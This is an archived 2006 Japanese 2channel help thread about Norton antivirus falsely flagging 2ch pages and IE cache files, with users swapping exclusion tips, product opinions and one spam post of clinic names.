- 712 :ひよこ名無しさん:2006/10/13(金) 21:08:55 ID:???
- 経営学部の学生さん>>701です。
ありがとうございました。
11月まではノートン先生が頑張ってくれそうなので、
その後の購入の参考にします。
- 713 :ひよこ名無しさん:2006/10/13(金) 23:09:01 ID:???
- >>709
一定時間板が開けなくなる件の誤反応はログフォルダ除外では対応できません。
2chを見ようとすると「侵入を検出して遮断しました。」というダイアログが表示されて
2chを見れなくなってしまう問題のまとめページ。
http://mickey.mirv.net/2chnis.html
NAVの人は下記スレの698辺りから参照
ノートン誤作動対策本部
http://qb5.2ch.net/operate/kako/1133/11331/1133161720.html
>>707 NIS2006はよくわからないけど上のリンクとスレ参考にしる。
- 714 :ひよこ名無しさん:2006/10/14(土) 00:28:20 ID:???
- >>713
ありがとうございます。
教えて頂いたhttp://mickey.mirv.net/2chnis.htmlを
やってみて、まただめな様なら
また来ます。ありがとうございました。
- 715 :ひよこ名無しさん:2006/10/14(土) 14:20:25 ID:???
- ノートンが反応して、偽ウイルスを削除した場合
何かPCに問題は起こるんですか?
- 716 :715:2006/10/14(土) 14:25:05 ID:???
- ウイルスを削除というか、駆除できずにファイル(?)ごと削除してるんですけど。。。
ご指導お願いします。
- 717 :ひよこ名無しさん:2006/10/14(土) 14:35:27 ID:???
- >>715
起こらない
>>716
2chのログファイル、またはIEキャッシュファイルを監視対象から除外
- 718 :715:2006/10/14(土) 14:41:13 ID:???
- >>717
ありがとうございます。
具体的には、何を削除しているのでしょうか。
例えば、以下のようなものが削除されてしまいます。
Documents and Settings \ 名前 \ Local Settings
\ Temporary Internet Files \ Content IES \ SOUTTMDI2 \ l50[1].htm
- 719 :ひよこ名無しさん:2006/10/14(土) 17:15:19 ID:???
- >>718
IEキャッシュファイル
- 720 :715:2006/10/14(土) 19:03:51 ID:???
- てことは削除されてもまったく問題ないんですよね?
ありがとうございました!
- 721 :ひよこ名無しさん :2006/10/16(月) 19:13:08 ID:???
- VShieldを有効にするってどうしたらいいんですか?
- 722 :ひよこ名無しさん:2006/10/17(火) 12:47:03 ID:???
- >>257
自分も>>259さんと同じで
こういうの貼られてたら、暫く板が開けなくなります・・
【質問】
1:ノートン使って専ブラで見ている人は、みんな実行しているのでしょうか?
2:そこでやはり↓のサイトの対処法をしないといけないのでしょうか?
ttp://mickey.mirv.net/2chnis.html
いまいち、やるのが怖くて躊躇しているのですが・・
(ウイルスとかが)
WinXPsp2 Jane doe style2.41を使っています
- 723 :ひよこ名無しさん:2006/10/17(火) 20:07:44 ID:???
- 別に怖いことないと思うが。
設定の意味がわからないとか漠然とした不安があるのでしょうか。
抵抗があるなら>>689にある誤反応スクリプト無効化ソフトを使って
その都度対処すれば良いと思います。
- 724 :ひよこ名無しさん:2006/10/17(火) 23:17:55 ID:???
- 実行しなければ自分が不便な思いをするだけ
不便でも構わない、
危険はないと説明されても納得できない、
とにかく怖いというなら好きにすれば?
- 725 :ひよこ名無しさん:2006/10/22(日) 10:00:55 ID:???
- 保守
- 726 :ひよこ名無しさん :2006/10/28(土) 17:40:52 ID:RthPMJHm
- 2007は誤反応しなくなったんですか?
エロイ人教えて
- 727 :ひよこ名無しさん:2006/11/03(金) 06:52:18 ID:???
- 保守
- 728 :私立の中学生 ◆N30ctwWJLw :2006/11/04(土) 20:07:16 ID:???
- バスターという最高のアンチウィルスがありながらどうして人はノートンを選ぶんだろう
- 729 :ひよこ名無しさん:2006/11/05(日) 03:48:08 ID:???
- 最高のアンチウィルスw
- 730 :ひよこ名無しさん:2006/11/07(火) 01:49:05 ID:???
- 誘導
- 731 :ひよこ名無しさん:2006/11/07(火) 12:15:11 ID:???
- >>728
バスターはOSを起動できなくしたという前科があるからいまいち信用できない。
- 732 :ひよこ名無しさん:2006/11/13(月) 16:36:48 ID:286EntMo
- >>728
>>731
前科どころか、2007は起動時にOSごとフリーズさせる実績があるから
たとえ誤反応が多くても、農豚をオススメする。
- 733 :ひよこ名無しさん:2006/11/16(木) 10:01:34 ID:ajN9y2Qm
- なんかメジャーじゃない誤反応ソースないかなー
- 734 :ひよこ名無しさん:2006/11/16(木) 10:40:15 ID:???
- http://www.google.co.jp//////////index.html
- 735 :ひよこ名無しさん:2006/11/17(金) 10:54:47 ID:???
- ノートンのウィルス誤反応警告の表示警告がここ2、3日で変わったのは自分だけ?
念のためにプロバイダサービスによるマカフィーも使って調べても、
ウィルスなど異常が見受けられなかったのに。
- 736 :ひよこ名無しさん:2006/11/18(土) 14:53:59 ID:???
- 恵比寿視力回復研究所八王子クリニック大塚美容形成外科・歯科今泉ハートクリ
ニック朝日大学歯学部附属村上記念病院加藤内科クリ
ニックあんのうらクリニック今津赤十字病院佐賀県立病院好生館安芸市民病院お
きた内科クリニックしお医院静岡県立総合病院相生山
病院愛知県がんセンターあきしまクリニック岩崎病院高茶屋診療所国立病院機構
三重中央医療センター井上記念病院小倉台柏戸クリニ
ックうたせメディカルクリニックたちばな台病院青葉台病院恵比寿視力回復研究
所八王子クリニック大塚美容形成外科・歯科今泉ハー
トクリニック朝日大学歯学部附属村上記念病院加藤内科クリニックあんのうらク
リニック今津赤十字病院佐賀県立病院高月整形外科好
生館安芸市民病院おきた内科クリニックしお医院静岡県立総合病院相生山病院愛
知県がんセンターあきしまクリニック岩崎病院高茶屋
診療所国立病院機構三重中央医療センター井上記念病院小倉台柏戸クリニックう
たせメディカルクリニック橋本内科医院市立芦別病院
北海道立本岐こじま内科額賀医院よこぎ内科胃腸科クリニック平中央医院いわき
市国民健康保険田人診療所中野中央病院佐藤医院野崎
整形外科医院高木医院木村クリニック洋向台クリニックくさの内科・眼科すけが
わ内科クリニック額賀医院草野医院下遠野内科胃腸科
- 737 :ひよこ名無しさん:2006/12/18(月) 04:28:15 ID:X+EF3ZXu
- 昨夜から急にanime鯖だけ繋がらなくなりました。
原因を探していたら、このスレを見つけたので質問させて下さい。
使用ソフト、NortonAntiVirus2006
2ch閲覧環境、IE6.0とOpenJane
症状、anime鯖の閲覧不可
専ブラでのエラー報告、SocketError#10065 Norou te to host.
誤反応スクリプト無効化ソフト導入と除外設定は済ませています。
試しにAuto-Protectをオフにしてみたのですが、それでも閲覧できませんでした。
どうすれば問題を解決できるんでしょうか。どなたかアドバイスお願いしますorz
- 738 :737:2006/12/18(月) 05:25:17 ID:???
- 自己解決しました
30分規制にかかっていただけみたいです
- 739 :ひよこ名無しさん:2006/12/19(火) 05:26:43 ID:PWq98QOy
- ログフォルダは除外していたのですが、2chのスレを開いてて
ウィルス警告が出たので、またいつもの誤反応だと思い。
Temporary Internet Filesをスキャンしたら1158448744[1].htm にVBS.Freelink.B
が見つかって「検疫」「削除」をしても駆除できません。
これもただの誤反応なのでしょうか?
- 740 :ひよこ名無しさん:2006/12/19(火) 17:32:58 ID:???
- ただの誤反応です
専ブラではなくIEでスレッドを閲覧したのが原因で、
>>1に書いてある通り、別に心配ありません
Temporary Internet Filesを除外したりしてはいけません
(>>1以下、テンプレの各リンク先もよく読みましょう)
- 741 :ひよこ名無しさん:2006/12/20(水) 18:18:36 ID:???
- ノートンを2007に更新したらいろいろ探してもノートントラップを防ぐための
セキュリティから除外する方法がわからないんですが、どうやってノートントラップを防げばいいんですか?
- 742 :ひよこ名無しさん:2006/12/20(水) 20:25:49 ID:???
- これは?
http://pc8.2ch.net/test/read.cgi/sec/1165936988/12
243 KB
■ このスレッドは過去ログ倉庫に格納されています
★スマホ版★
掲示板に戻る
全部
前100
次100
最新50
read.cgi ver 05.04.02 2018/11/22 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)